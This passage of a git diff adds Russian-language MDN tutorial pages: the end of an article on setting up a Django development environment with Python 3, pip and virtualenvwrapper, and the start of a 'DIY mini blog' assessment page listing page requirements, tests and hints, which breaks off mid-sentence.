+<p>В этой статье мы предоставляем инструкции для Windows, Mac OS X, and Linux/Unix.</p> + +<h4 id="Какую_версию_Python_стоит_использовать">Какую версию Python стоит использовать?</h4> + +<p>Мы рекомендуем использовать самую последнюю доступную версию - на момент написания статьи это Python 3.6.</p> + +<div class="note"> +<p><strong>Замечание</strong>: Python 2.7 не может быть использован вместе с Django 2.0 (последние поддерживаемые серии для Python 2.7 - Django 1.11.x).</p> +</div> + +<h4 id="Откуда_можно_скачать_Django">Откуда можно скачать Django?</h4> + +<p>Для загрузки Django можно воспользоваться 3 источниками:</p> + +<ul> + <li>The Python Package Repository (PyPi), при помощи инструмента <em>pip</em>. Это лучший способ получения последней стабильной версии Django.</li> + <li>Использование версии из менеджера пакетов вашего компьютера. Такие дистрибутивы Django, собранные для конкретных операционных систем, предлагают знакомый механизм установки. Однако обратите внимание на то, что пакетные версии могут быть достаточно старыми и установлены только в системную среду Python (что может отличаться от ваших желаний).</li> + <li>Установка из исходного кода. Вы можете получить и установить последний выпуск Django из исходного кода. Этот способ не рекомендован для новичков, но необходим в случае, когда вы готовы начать вносить собственный вклад в проект Django.</li> +</ul> + +<p>Данный материал описывает способ установки Django из PyPi с целью получения последней стабильной версии.</p> + +<h4 id="Какую_базу_данных_выбрать">Какую базу данных выбрать?</h4> + +<p>Django поддерживает 4 основных базы данных (PostgreSQL, MySQL, Oracle и SQLite), также есть публичные библиотеки, которые предоставляют разные уровни поддержки других SQL и NoSQL баз данных. Мы рекомендуем вам выбрать одинаковую БД для обеих рабочей и разрабатываемой сред (несмотря на то, что Django нивелирует множество различий баз данных при помощи Object-Relational Mapper (ORM), все равно возможны потенциальные <a href="https://docs.djangoproject.com/en/2.0/ref/databases/">проблемы</a>, которых лучше избегать.</p> + +<p>Для данной статьи (и большей части модуля) мы будем использовать базу данных <em>SQLite</em>, которая сохраняет свои данные в файл. SQLite предназначен для использования в качестве облегченной базы данных и не может поддерживать высокий уровень параллелизма. Это, однако, отличный выбор для приложений, которые в основном предназначены только для чтения.</p> + +<div class="note"> +<p><strong>Замечание</strong>: Django сконфигурирован для использования SQLite по умолчанию, при создании вашего проекта с использованием стандартных инструментов (django-admin). Это отличный выбор для начала работы, потому что он не требует дополнительной настройки.</p> +</div> + +<h4 id="Глобальная_установка_или_установка_в_виртуальную_среду_Python">Глобальная установка или установка в виртуальную среду Python?</h4> + +<p>Когда вы устанавливаете Python 3 на свой компьютер, вы получаете единую глобальную среду (набор установленных пакетов) для вашего кода Python, которая доступна любому коду на компьютере. Вы можете установить любые пакеты Python, необходимые вам в этой среде, но только одну конкретную версию конкретного пакета.</p> + +<div class="note"> +<p><strong>Замечание</strong>: Установленные в глобальную среду приложения Python потенциально могут конфликтовать друг с другом (т.е. если они зависят от разных версий одного и того же пакета).</p> +</div> + +<p>Если вы устанавливаете Django в среду по умолчанию (глобальную), то будете способны сфокусироваться на одной версии Django на вашем компьютере. Это может быть проблемой в случае, если вы захотите создать новые вебсайты (при помощи новой версии Django) во время поддержки вебсайтов со старой версией.</p> + +<p>По этой причине опытные разработчики Python / Django часто предпочитают вместо этого запускать свои приложения Python в независимых <em>виртуальных средах Python</em>. Это позволяет разработчикам иметь несколько разных сред Django на одном компьютере. Команда разработчиков Django сама рекомендует использовать виртуальные среды Python!</p> + +<p>Этот модуль предполагает вашу установку Django в виртуальную среду, и мы покажем, как это сделать.</p> + +<h2 id="Установка_Python_3">Установка Python 3</h2> + +<p>Для использования Django вам необходимо установить <em>Python 3</em> на свою операционную систему. Вам также понадобится инструмент <a href="https://pypi.python.org/pypi">Python Package Index</a> — <em>pip3</em> — который используется для управления (установка, обновление и удаление) библиотек/пакетов Python, используемых Django и другими вашими приложениями Python.</p> + +<p>Этот раздел коротко описывает то, как вы можете проверить имеющиеся версии и при необходимости установить новые для Ubuntu Linux 16.04, Mac OS X, and Windows 10.</p> + +<div class="note"> +<p><strong>Замечание</strong>: В зависимости от платформы, вы можете иметь возможность установки Python/pip из собственного менеджера пакетов операционной системы или при помощи других инструментов. Для большинства платформ вы можете скачать необходимые установочные файлы из <a href="https://www.python.org/downloads/">https://www.python.org/downloads/</a> и установить их при помощи соответствующего специфичного для платформы метода.</p> +</div> + +<h3 id="Ubuntu_16.04">Ubuntu 16.04</h3> + +<p>Ubuntu Linux включает в себя Python 3 по умолчанию. Вы можете удостовериться в этом, выполнив следующую команду в терминале:</p> + +<pre class="notranslate">python3 -V + Python 3.5.2</pre> + +<p>Однако, инструмент Python Package Index, при помощи которого вам нужно будет установаить пакеты для Python 3 (включая Django), по умолчанию <strong>не установлен</strong>. Вы можете установить pip3 через терминал bash при помощи:</p> + +<pre class="notranslate">sudo apt-get install python3-pip +</pre> + +<h3 id="Mac_OS_X">Mac OS X</h3> + +<p>Mac OS X "El Capitan" не включает Python 3. Вы можете удостовериться в этом, выполнив следующую команду в терминале:</p> + +<pre class="notranslate">python3 -V + -bash: python3: command not found</pre> + +<p>Вы можете легко установить Python 3 (вместе с инструментом <em>pip3</em>) с<a href="https://www.python.org/"> python.org</a>:</p> + +<ol> + <li>Скачайте нужный установочный файл: + <ol> + <li>Перейдите в <a href="https://www.python.org/downloads/">https://www.python.org/downloads/</a></li> + <li>Нажмите на кнопку <strong>Скачать Python 3.6.4</strong> (точная основная версия может отличаться).</li> + </ol> + </li> + <li>Найдите файл при помощи <em>Finder</em>, дважды кликните по нему и следуйте подсказкам по установке.</li> +</ol> + +<p>Удостовериться в успешной установке вы можете проверкой на наличие <em>Python 3</em>, как показано ниже:</p> + +<pre class="notranslate">python3 -V + Python 3.5.20 +</pre> + +<p>Подобным образом вы можете проверить установку <em>pip3</em>, отобразив список доступных пакетов:</p> + +<pre class="notranslate">pip3 list</pre> + +<h3 id="Windows_10">Windows 10</h3> + +<p>Windows не включает Python по умолчанию, но вы можете легко установить его (вместе с инструментом <em>pip</em>) с<a href="https://www.python.org/"> python.org</a>:</p> + +<ol> + <li>Скачайте нужный установочный файл: + <ol> + <li>Перейдите в <a href="https://www.python.org/downloads/">https://www.python.org/downloads/</a></li> + <li>Нажмите на кнопку <strong>Скачать Python 3.6.4</strong> (точная основная версия может отличаться).</li> + </ol> + </li> + <li>Установите Python, дважды кликнув на скачанный файл и следуя инструкциям по установке.</li> +</ol> + +<p>После этого вы сможете подтвердить успешную установку Python путем выполнения следующего текста в командной строке:</p> + +<pre class="notranslate">py -3 -V + Python 3.5.2 +</pre> + +<p>Установщик Windows включает в себя <em>pip3</em> (менеджер пакетов Python) по умолчанию. Вы можете отобразить список установленных пакетов, как показано далее:</p> + +<pre class="notranslate">pip list +</pre> + +<div class="note"> +<p><strong>Замечание</strong>: Установщик должен сделать все, что необходимо для корректной работы указанной команды. Однако, если вы видите сообщение о том, что Python не может быть найден, вам может потребоваться добавить его в системный путь.</p> +</div> + +<h2 id="Использование_Django_внутри_виртуальной_среды_Python">Использование Django внутри виртуальной среды Python</h2> + +<p>Для создания виртуальных сред мы будем использовать библиотеки <a href="https://virtualenvwrapper.readthedocs.io/en/latest/index.html">virtualenvwrapper</a> (Linux и macOS X) и <a href="https://pypi.python.org/pypi/virtualenvwrapper-win">virtualenvwrapper-win</a> (Windows), которые в свою очередь обе используют инструмент <a href="https://developer.mozilla.org/en-US/docs/Python/Virtualenv">virtualenv</a>. Инструмент обертки предоставляет совместимый интерфейс для управления интерфейсами на всех платформах.</p> + +<h3 id="Установка_ПО_виртуальной_среды">Установка ПО виртуальной среды</h3> + +<h4 id="Установка_виртуальной_среды_для_Ubuntu">Установка виртуальной среды для Ubuntu</h4> + +<p>После установки Python и pip вы можете установить <em>virtualenvwrapper </em>(который включает в себя <em>virtualenv</em>). Вы можете либо воспользоваться официальной инструкций по установке <a href="http://virtualenvwrapper.readthedocs.io/en/latest/install.html">отсюда</a>, либо следовать следующим инструкциям:</p> + +<p>Установите инструмент при помощи pip3:</p> + +<pre class="notranslate"><code>sudo pip3 install virtualenvwrapper</code> +</pre> + +<p>Затем добавьте следующие строки в конец файла загрузки программной оболочки (shell) (это скрытый файл в вашей домашней директории с именем <strong>.bashrc</strong>). Они устанавливают расположение виртуальных сред, расположение каталога разрабатываемого проекта и расположение установленного с этим пакетом скрипта.</p> + +<pre class="notranslate"><code>export WORKON_HOME=$HOME/.virtualenvs +export VIRTUALENVWRAPPER_PYTHON=/usr/bin/python3 +export VIRTUALENVWRAPPER_VIRTUALENV_ARGS=' -p /usr/bin/python3 ' +export PROJECT_HOME=$HOME/Devel +source /usr/local/bin/virtualenvwrapper.sh</code> +</pre> + +<p>Затем перезагрузите файл загрузки, выполнив в терминале следующую команду:</p> + +<pre class="notranslate"><code>source ~/.bashrc</code> +</pre> + +<p>В этот момент вы должны увидеть запуск группы скриптов, как показано ниже:</p> + +<pre class="notranslate"><code>virtualenvwrapper.user_scripts creating /home/ubuntu/.virtualenvs/premkproject +virtualenvwrapper.user_scripts creating /home/ubuntu/.virtualenvs/postmkproject +... +virtualenvwrapper.user_scripts creating /home/ubuntu/.virtualenvs/preactivate +virtualenvwrapper.user_scripts creating /home/ubuntu/.virtualenvs/postactivate +virtualenvwrapper.user_scripts creating /home/ubuntu/.virtualenvs/get_env_details</code> +</pre> + +<p>Теперь вы можете создать новую виртуальную среду при помощи команды <code>mkvirtualenv</code>.</p> + +<h4 id="Установка_виртуальной_среды_для_macOS_X">Установка виртуальной среды для macOS X</h4> + +<p>Установка <em>virtualenvwrapper </em>на macOS X почти идентична Ubuntu (и снова вы можете воспользоваться либо <a href="http://virtualenvwrapper.readthedocs.io/en/latest/install.html">официальными</a>, либо следующими инструкциями).</p> + +<p>Установите инструмент при помощи pip3:</p> + +<pre class="notranslate"><code>sudo pip3 install virtualenvwrapper</code> +</pre> + +<p>Затем добавьте следующие строки в конец вашего файла загрузки программной оболочки:</p> + +<pre class="notranslate"><code>export WORKON_HOME=$HOME/.virtualenvs +export VIRTUALENVWRAPPER_PYTHON=/usr/bin/python3 +export PROJECT_HOME=$HOME/Devel +source /usr/local/bin/virtualenvwrapper.sh</code> +</pre> + +<div class="note"> +<p><strong>Замечание</strong>: Переменная <code>VIRTUALENVWRAPPER_PYTHON</code> указывает на обычное расположение Python3. Если virtualenv не работает во время тестирования, то вам следует проверить, находится ли интерпертатор Python в нужном расположении (и затем поменять его соответствующим образом в значении переменной).</p> +</div> + +<p>Эти строки такие же, как в случае с Ubuntu, но файл загрузки в вашей домашней директории назван иначе - <strong>.bash_profile</strong>. </p> + +<div class="note"> +<p><strong>Замечание</strong>: Если вы не можете найти и изменить <strong>.bash_profile </strong>при помощи Finder, то можно также открыть его при помощи редактора терминала <em>nano</em>.</p> + +<p>Команды в этом случае выглядят примерно так:</p> + + + +<pre class="notranslate"><code>cd ~ # Navigate to my home directory +ls -la #List the content of the directory. You should see .bash_profile +nano .bash_profile # Open the file in the nano text editor, within the terminal +# Scroll to the end of the file, and copy in the lines above +# Use Ctrl+X to exit nano, Choose Y to save the file.</code> +</pre> +</div> + +<p>После этого перезагрузите файл загрузки путем выполнения следующей команды в терминале:</p> + +<pre class="notranslate"><code>source ~/.bash_profile</code> +</pre> + +<p>В этот момент вы должны увидеть запуск группы скриптов (те же скрипты, что и в случае установки на Ubuntu).</p> + +<p>Теперь вы должны иметь возможность создания новой виртуальной среды при помощи команды <code>mkvirtualenv</code>.</p> + +<h4 id="Установка_виртуальной_среды_для_Windows_10">Установка виртуальной среды для Windows 10</h4> + +<p>Установка <a href="https://pypi.python.org/pypi/virtualenvwrapper-win">virtualenvwrapper-win</a> еще более проста, чем установка <em>virtualenvwrapper</em>, потому что вам не нужно настраивать расположения сохранения информации о виртаульной среде инструментом (эти значения заданы по умолчанию). Все, что вам нужно сделать, это запустить следующую команду в командной строке:</p> + +<pre class="notranslate"><code>pip3 install virtualenvwrapper-win</code></pre> + +<p>Теперь вы можете создать новую виртуальную среду при помощи команды <code>mkvirtualen</code>.</p> + +<h3 id="Создание_виртуальной_среды">Создание виртуальной среды</h3> + +<p>После установки <em>virtualenvwrapper</em> и <em>virtualenvwrapper-win</em> работа с виртуальными средами становится одинаковой для всех платформ.</p> + +<p>Теперь вы можете создать новую виртуальную среду при помощи команды <code>mkvirtualenv</code>. Во время запуска команды вы увидите установку виртуальной среды (конкретные результаты команды очень зависят от платформы). После выполнения команды активируется новая виртуальная среда — заметить это вы можете по тому, что началом ввода будет название виртуальной среды в круглых скобках (как показано ниже).</p> + +<pre class="notranslate"><code>$ mkvirtualenv my_django_environment +Running virtualenv with interpreter /usr/bin/python3 ... +virtualenvwrapper.user_scripts creating /home/ubuntu/.virtualenvs/t_env7/bin/get_env_details +(my_django_environment) ubuntu@ubuntu:~$</code></pre> + +<p>Теперь вы находитесь внутри виртуальной области и можете установить Django и начать разработку.</p> + +<div class="note"> +<p><strong>Замечание</strong>: С этого момента в этой статье (и всем модуле) пожалуйста учитывайте, что любые команды запускаются в виртуальной среде Python, как та, что мы показали выше.</p> +</div> + +<h3 id="Использование_виртуальной_среды">Использование виртуальной среды</h3> + +<p>Есть еще несколько полезных команд, которые вам следует знать (в документации по инструменту их гораздо больше, но эти вы будете использовать регулярно):</p> + +<ul> + <li><code>deactivate</code> — Выход из текущей виртуальной среды Python</li> + <li><code>workon</code> — Список доступных виртуальных сред</li> + <li><code>workon name_of_environment</code> — Активация конкретной виртуальной среды Python</li> + <li><code>rmvirtualenv name_of_environment</code> — Удаление конкретной виртуальной среды.</li> +</ul> + +<h2 id="Установка_Django">Установка Django</h2> + +<p>После создания виртуальной среды и вызова <code>workon</code> для входа в нее вы можете использовать <em>pip3 </em>для установки Django. </p> + +<pre class="notranslate">pip3 install django +</pre> + +<p>Вы можете проверить установку Django, выполнив следующую команду (она просто проверяет, что Python может найти модуль Django):</p> + +<pre class="notranslate"># Linux/Mac OS X +python3 -m django --version + 1.10.10 + +# Windows +py -3 -m django --version + 1.10.10 +</pre> + +<div class="note"> +<p><strong>Замечание</strong>: Для Windows вы запускаете скрипты <em>Python 3</em> с префиксом команды <code>py -3</code>, в то время как для Linux/Mac OSX префикс - <code>python3</code>.</p> +</div> + +<div class="warning"> +<p><strong>Важно</strong>: В оставшейся части материала<strong> </strong>используется вариант команды <em>Linux</em> для вызова Python 3 (<code>python3</code>) . Если вы работаете в <em>Windows, </em>то просто замените этот префикс на: <code>py -3</code></p> +</div> + +<h2 id="Проверка_вашей_установки">Проверка вашей установки</h2> + +<p>Указанная выше проверка работает, но не представляет особого интереса.Более интересная проверка заключается в создании шаблона проекта и проверки его работы. Для ее выполнения перейдите в командной строке/терминале в место, где планируете сохранять приложения Django. Создайте папку для теста и перейдите в нее.</p> + +<pre class="notranslate">mkdir django_test +cd django_test +</pre> + +<p>Затем вы можете создать шаблон сайта "<em>mytestsite</em>" при помощи инструмента <strong>django-admin</strong>. После создания сайта вы можете перейти в папку, где найдете основной скрипт для управления проектами с именем <strong>manage.py</strong>.</p> + +<pre class="notranslate">django-admin startproject mytestsite +cd mytestsite</pre> + +<p>Мы можем запустить веб-сервер разработки из этой папки при помощи <strong>manage.py</strong> и команды <code>runserver</code>, как показано ниже.</p> + +<pre class="notranslate">$ <strong>python3 manage.py runserver </strong> +Performing system checks... + +System check identified no issues (0 silenced). + +You have 13 unapplied migration(s). Your project may not work properly until you apply the migrations for app(s): admin, auth, contenttypes, sessions. +Run 'python manage.py migrate' to apply them. + +September 19, 2016 - 23:31:14 +Django version 1.10.1, using settings 'mysite.settings' +Starting development server at http://127.0.0.1:8000/ +Quit the server with CONTROL-C. +</pre> + +<div class="note"> +<p><strong>Замечание</strong>: Указанная команда демонстрирует выполнение для Linux/Mac OS X. В настоящий момент вы можете проигнорировать предупреждения о "13 непримененных миграциях"!</p> +</div> + +<p>Как только сервер запущен, вы можете посмотреть сайт, перейдя по следующему адресу в вашем браузере: <code>http://127.0.0.1:8000/</code>. Вы должны увидеть, что сайт выглядит следующим образом:</p> + +<p><img alt="Django Skeleton App Homepage" src="https://mdn.mozillademos.org/files/15728/Django_Skeleton_Website_Homepage.png"></p> + +<ul> +</ul> + +<h2 id="Заключение">Заключение</h2> + +<p>Теперь у вас на компьютере установлена и запущена среда разработки Django.</p> + +<p>В разделе проверки вам коротко был показан способ создания нового сайта на Django при помощи <code>django-admin startproject</code> и его запуск в вашем браузере при помощи веб-сервера разработки (<code><strong>python3 manage.py runserver</strong></code>). В следующей статье мы подробнее рассмотрим этот процесс создания простого, но полноценного веб-приложения.</p> + +<h2 id="В_этом_модуле">В этом модуле</h2> + +<ul> + <li><a href="https://developer.mozilla.org/en-US/docs/Learn/Server-side/Django/Introduction">Введение в Django</a></li> + <li><a href="https://developer.mozilla.org/en-US/docs/Learn/Server-side/Django/development_environment">Установка среды разработки Django</a></li> + <li><a href="https://developer.mozilla.org/en-US/docs/Learn/Server-side/Django/Tutorial_local_library_website">Руководство Django: Сайт локальной библиотеки</a></li> + <li><a href="https://developer.mozilla.org/en-US/docs/Learn/Server-side/Django/skeleton_website">Руководство Django Часть 2: Создание основы веб-сайта</a></li> + <li><a href="https://developer.mozilla.org/en-US/docs/Learn/Server-side/Django/Models">Руководство Django Часть 3: Использование моделей</a></li> + <li><a href="https://developer.mozilla.org/en-US/docs/Learn/Server-side/Django/Admin_site">Руководство Django Часть 4: Панель администрирования Django</a></li> + <li><a href="https://developer.mozilla.org/en-US/docs/Learn/Server-side/Django/Home_page">Руководство Django Часть 5: Создание домашней страницы</a></li> + <li><a href="https://developer.mozilla.org/en-US/docs/Learn/Server-side/Django/Generic_views">Руководство Django Часть 6: Основной список и детали представлений</a></li> + <li><a href="https://developer.mozilla.org/en-US/docs/Learn/Server-side/Django/Sessions">Руководство Django Часть 7: Фреймворк сеансов</a></li> + <li><a href="https://developer.mozilla.org/en-US/docs/Learn/Server-side/Django/Authentication">Руководство Django Часть 8: Авторизация пользователей и уровни доступа</a></li> + <li><a href="https://developer.mozilla.org/en-US/docs/Learn/Server-side/Django/Forms">Руководство Django Часть 9: Работа с формами</a></li> + <li><a href="https://developer.mozilla.org/en-US/docs/Learn/Server-side/Django/Testing">Руководство Django Часть 10: Тестирование веб-приложений Django</a></li> + <li><a href="https://developer.mozilla.org/en-US/docs/Learn/Server-side/Django/Deployment">Руководство Django Часть 11: Разавертывание Django в производство</a></li> + <li><a href="https://developer.mozilla.org/en-US/docs/Learn/Server-side/Django/web_application_security">Безопасность веб-приложения Django</a></li> + <li><a href="https://developer.mozilla.org/en-US/docs/Learn/Server-side/Django/django_assessment_blog">DIY Мини-блог на Django</a></li> +</ul> diff --git a/files/ru/learn/server-side/django/django_assessment_blog/index.html b/files/ru/learn/server-side/django/django_assessment_blog/index.html new file mode 100644 index 0000000000..59a1d9e1d2 --- /dev/null +++ b/files/ru/learn/server-side/django/django_assessment_blog/index.html @@ -0,0 +1,320 @@ +--- +title: 'Задание: DIY Джанго мини блог' +slug: Learn/Server-side/Django/django_assessment_blog +tags: + - Аттестация + - Бэкэнд + - Бэкэнд программирование + - Джанго + - Изучение + - Начинающий + - блог + - скриптовый кодинг +translation_of: Learn/Server-side/Django/django_assessment_blog +--- +<div>{{LearnSidebar}}</div> + +<div>{{PreviousMenu("Learn/Server-side/Django/web_application_security", "Learn/Server-side/Django")}}</div> + +<p class="summary">В этом задании вы будете оценивать знания Django, которые вы приобрели в <a href="/en-US/docs/Learn/Server-side/Django">Django Web Framework (Python)</a>, чтобы создать очень простой блог.</p> + +<table class="learn-box standard-table"> + <tbody> + <tr> + <th scope="row">Предпосылки:</th> + <td>Перед этим заданием, вы должны были проработать все статьи этого модуля.</td> + </tr> + <tr> + <th scope="row">Задача:</th> + <td>Проверить понимание основ Django, включая конфигурации URL, модели, представления, формы и шаблоны.</td> + </tr> + </tbody> +</table> + +<h2 id="Краткое_описание_проекта">Краткое описание проекта</h2> + +<p>Страницы, которые должны отображаться, их URL-адреса и другие требования, перечислены ниже:</p> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">Page</th> + <th scope="col">URL</th> + <th scope="col">Requirements</th> + </tr> + </thead> + <tbody> + <tr> + <td>Home page</td> + <td><code>/</code> and <code>/blog/</code></td> + <td>Страница индекса, описывающая сайт.</td> + </tr> + <tr> + <td>List of all blog posts</td> + <td><code>/blog/blogs/</code></td> + <td> + <p>Список всех сообщений блога:</p> + + <ul> + <li>Доступно для всех пользователей из боковой панели.</li> + <li>Список отсортирован по дате публикации (от самого нового до самого старого).</li> + <li>Список разбит на группы по 5 статьям.</li> + <li>Элементы списка отображают название блога, дату публикации и автора.</li> + <li>Названия сообщений блога связаны с страницами подробных сведений о блоге.</li> + <li>Blogger (имена авторов) связаны с страницами подробных сведений о блоге.</li> + </ul> + </td> + </tr> + <tr> + <td>Blog author (blogger) detail page</td> + <td><code>/blog/blogger/<em><author-id></em></code></td> + <td> + <p>Информация для указанного автора (по id) и список постов:</p> + + <ul> + <li>Доступен для всех пользователей по ссылкам на автора в сообщениях в блогах и т. Д.</li> + <li>Содержит некоторые биографические данные в blogger/author.</li> + <li>Список отсортирован по дате добавления (от новых к старым).</li> + <li>Не разбит на страницы.</li> + <li>Элементы списка отображают только имя сообщения в блоге и дату публикации.</li> + <li>Названия блога связаны со страницей блога.</li> + </ul> + </td> + </tr> + <tr> + <td>Blog post detail page</td> + <td><code>/blog/<em><blog-id></em></code></td> + <td> + <p>Сведения о блоге.</p> + + <ul> + <li>Доступно для всех пользователей из списков блога.</li> + <li>Страница содержит сообщение в блоге: имя, автор, дата публикации и содержание.</li> + <li>Комментарии к сообщению в блоге должны отображаться внизу.</li> + <li>Комментарии должны быть отсортированы по порядку: от старых до самых последних.</li> + <li>Содержит ссылку для добавления комментариев на конец для зарегистрированных пользователей (см. Страницу формы комментариев)</li> + <li>В блогах и комментариях должен отображаться только обычный текст. Нет необходимости поддерживать какую-либо разметку HTML (например, ссылки, изображения, полужирный / курсив и т. Д.).</li> + </ul> + </td> + </tr> + <tr> + <td>List of all bloggers</td> + <td><code>/blog/bloggers/</code></td> + <td> + <p>Список блоггеров в системе:</p> + + <ul> + <li>Доступный для всех пользователей с боковой панели сайта</li> + <li>Имя блогера связано с блогом автора страницы.</li> + </ul> + </td> + </tr> + <tr> + <td>Comment form page</td> + <td><code>/blog/<em><blog-id></em>/create</code></td> + <td> + <p>Создать комментарий для публикации в блоге:</p> + + <ul> + <li>Доступно только зарегистрированным пользователям (только) из ссылки внизу страницы с подробными сведениями блога.</li> + <li>Отображает форму с описанием для ввода комментариев (дата публикации и блог недоступны для редактирования).</li> + <li>После того, как комментарий будет опубликован, страница будет перенаправлена на связанную страницу блога.</li> + <li>Пользователи не могут редактировать или удалять свои сообщения.</li> + <li>Вышедшие пользователи будут перенаправлены на страницу входа в систему, чтобы добавить комментарии. После входа в систему они будут перенаправлены на страницу блога, которую они хотели бы прокомментировать.</li> + <li>Страницы комментариев должны содержать имя / ссылку на комментарий блога.</li> + </ul> + </td> + </tr> + <tr> + <td>User authentication pages</td> + <td><code>/accounts/<em><standard urls></em></code></td> + <td> + <p>Стандартные страницы аутентификации Django для входа, выхода и установки пароля:</p> + + <ul> + <li>Вход / выход должен быть доступен через ссылки боковой панели.</li> + </ul> + </td> + </tr> + <tr> + <td>Admin site</td> + <td><code>/admin/<em><standard urls></em></code></td> + <td> + <p>Админ-сайт должен быть включен, чтобы разрешить создание / редактирование / удаление сообщений в блогах, авторов блога и комментариев блога (это механизм для создания блоггеров в блогах):</p> + + <ul> + <li>В админ панеле должен отображаться список комментариев в строке (внизу каждого сообщения в блоге).</li> + <li>Имена комментариев в админке создаются усеканием описания комментария до 75 знаков</li> + <li>Другие типы записей могут использовать базовую регистрацию.</li> + </ul> + </td> + </tr> + </tbody> +</table> + +<p>Кроме того, вы должны написать некоторые базовые тесты для проверки:</p> + +<ul> + <li>Все поля модели имеют правильную метку и длину.</li> + <li>Все модели имеют ожидаемое имя объекта (например,<code> __str__()</code>выдает ожидаемое значение).</li> + <li>Модели имеют ожидаемый URL для отдельных записей в блогах и комментариях (например,<code>get_absolute_url()</code> возвращает ожидаемый URL-адрес).</li> + <li>Страница BlogListView (страница на всех блогах) доступна в ожидаемом месте (например, /blog/blogs)</li> + <li>Страница BlogListView (страница на всех блогах) доступна на ожидаемом именованном URL-адресе (например, 'blogs')</li> + <li>Страница BlogListView (страница на всех блогах) использует ожидаемый шаблон (например, по умолчанию)</li> + <li>BlogListView разбивает записи на 5 (по крайней мере, на первой странице)</li> +</ul> + +<div class="note"> +<p><strong>Заметка</strong>: Конечно, есть много других тестов, которые вы можете запустить. Используйте на свое усмотрение, но мы ожидаем, что вы сделаете хотя бы тесты выше.</p> +</div> + +<p>В следующем разделе показаны <a href="#Screenshots">скриншоты</a> сайта, который выполняет перечисленные выше требования.</p> + +<h2 id="Скриншоты">Скриншоты</h2> + +<p>Следующий скриншот - пример того, что должна выводить готовая программа.</p> + +<h3 id="Список_всех_сообщений_в_блоге">Список всех сообщений в блоге</h3> + +<p>Это отображает список всех сообщений в блоге (доступны из ссылки "All blogs" на боковой панели). Что нужно отметить:</p> + +<ul> + <li>На боковой панели также списки вошедшего в систему пользователя.</li> + <li>Индивидуальные блоги и блогеры доступны в виде ссылок на странице.</li> + <li>Разбивка включена (в группах по 5)</li> + <li>Показ от новых к старым.</li> +</ul> + +<p><img alt="List of all blogs" src="https://mdn.mozillademos.org/files/14319/diyblog_allblogs.png" style="border-style: solid; border-width: 1px; display: block; height: 363px; margin: 0px auto; width: 986px;"></p> + +<h3 id="Список_всех_блоггеров">Список всех блоггеров</h3> + +<p> </p> + +<p>Это ссылки на всех блоггеров в "All bloggers" по ссылке, которая на боковой панели. В этом случае мы можем увидеть на боковой панели, что ни один пользователь не вошел в систему.</p> + +<p><img alt="List of all bloggers" src="https://mdn.mozillademos.org/files/14321/diyblog_blog_allbloggers.png" style="border-style: solid; border-width: 1px; display: block; height: 256px; margin: 0px auto; width: 493px;"></p> + +<h3 id="Подробная_страница_блога">Подробная страница блога</h3> + +<p>Это показывает подробную страницу для конкретного блога.</p> + +<p><img alt="Blog detail with add comment link" src="https://mdn.mozillademos.org/files/14323/diyblog_blog_detail_add_comment.png" style="border-style: solid; border-width: 1px; display: block; height: 640px; margin: 0px auto; width: 986px;"></p> + +<p>Обратите внимание, что комментарии имеют дату <em>и</em> время, и расположены в порядке от самых старых до новейших (противоположно порядку ведения блога). В конце у нас есть ссылка для доступа к форме, чтобы добавить новый комментарий. Если пользователь не вошел в систему, мы бы увидели предложение войти в систему.</p> + +<p><img alt="Comment link when not logged in" src="https://mdn.mozillademos.org/files/14325/diyblog_blog_detail_not_logged_in.png" style="border-style: solid; border-width: 1px; display: block; height: 129px; margin: 0px auto; width: 646px;"></p> + +<h3 id="Добавить_форму_комментария">Добавить форму комментария</h3> + +<p>Это форма добавления комментариев. Обратите внимание, что мы вошли в систему. Когда это удастся, мы должны вернуться к связанной странице блога.</p> + +<p><img alt="Add comment form" src="https://mdn.mozillademos.org/files/14329/diyblog_comment_form.png" style="border-style: solid; border-width: 1px; display: block; height: 385px; margin: 0px auto; width: 778px;"></p> + +<h3 id="Об_авторе">Об авторе</h3> + +<p>Здесь отображается информация о блоггере вместе со списком его блогов.</p> + +<p><img alt="Blogger detail page" src="https://mdn.mozillademos.org/files/14327/diyblog_blogger_detail.png" style="border-style: solid; border-width: 1px; display: block; height: 379px; margin: 0px auto; width: 982px;"></p> + +<h2 id="Завершающие_шаги">Завершающие шаги</h2> + +<p>В следующих разделах описывается, что вам нужно делать.</p> + +<ol> + <li>Создайте скелет проекта и веб-приложение для сайта (как описано в <a href="/en-US/docs/Learn/Server-side/Django/skeleton_website">Django Tutorial Part 2: Creating a skeleton website</a>). Вы можете использовать «diyblog» для имени проекта и «blog» для имени приложения.</li> + <li>Создавайте модели для записей в блогах, комментариев и любых других необходимых объектов. + <ul> + <li>Каждый комментарий будет иметь только один блог, но блог может иметь много комментариев.</li> + <li>Посты в блоге и комментарии должны быть отсортированы по дате поста.</li> + <li>Не каждый пользователь обязательно будет автором блога, хотя любой пользователь может быть комментатором.</li> + <li>Блог автора также должен включать информацию о себе.</li> + </ul> + </li> + <li>Запустите миграцию для новых моделей и создайте суперпользователя.</li> + <li>Используйте админ панель, чтобы создать какой-нибудь пример блога и комментарии в блогах.</li> + <li>Создайте представления, шаблоны, и URL-конфигурации для публикации блога и списка страниц блоггера.</li> + <li>Создайте представления, шаблоны, и URL-конфигурации для публикации блога и подробных страниц блоггера.</li> + <li>Создайте страницу с формой для добавления новых комментариев (не забудьте сделать это доступным только для зарегистрированных пользователей!)</li> +</ol> + +<h2 id="Советы_и_подсказки">Советы и подсказки</h2> + +<p>Этот проект очень похож на <a href="/en-US/docs/Learn/Server-side/Django/Tutorial_local_library_website">LocalLibrary</a> учебник. Вы сможете настроить скелет, поведение входа пользователя / выхода из системы, поддержку статических файлов, представлений, URL-адресов, форм, базовых шаблонов и конфигурации админ-панели, используя почти все те же подходы.</p> + +<p>Некоторые общие рекомендации:</p> + +<ol> + <li>Индексная страница (index page) может быть реализована в качестве основной функции представления и шаблона (как и для locallibrary).</li> + <li>Просмотр списка публикаций блога и блогеров, а также подробное представление для сообщений в блоге можно создать с помощью <a href="/en-US/docs/Learn/Server-side/Django/Generic_views">generic list and detail views</a>.</li> + <li>Список постов в блоге конкретного автора может быть создан с помощью общего списка Blog list view и фильтрация для объекта блога, соответствующего указанному автору. + <ul> + <li>Вам придется реализовать <code>get_queryset(self)</code> для фильтрации (как и в нашем классе библиотеки <code>LoanedBooksAllListView</code>) и получить информацию об авторе из URL-адреса.</li> + <li>Вам также необходимо передать имя автора на страницу в контексте. Чтобы сделать это в представлении на основе классов, вам необходимо реализовать <code>get_context_data()</code> (обсуждается ниже).</li> + </ul> + </li> + <li>Форма <em>добавления комментариев</em> 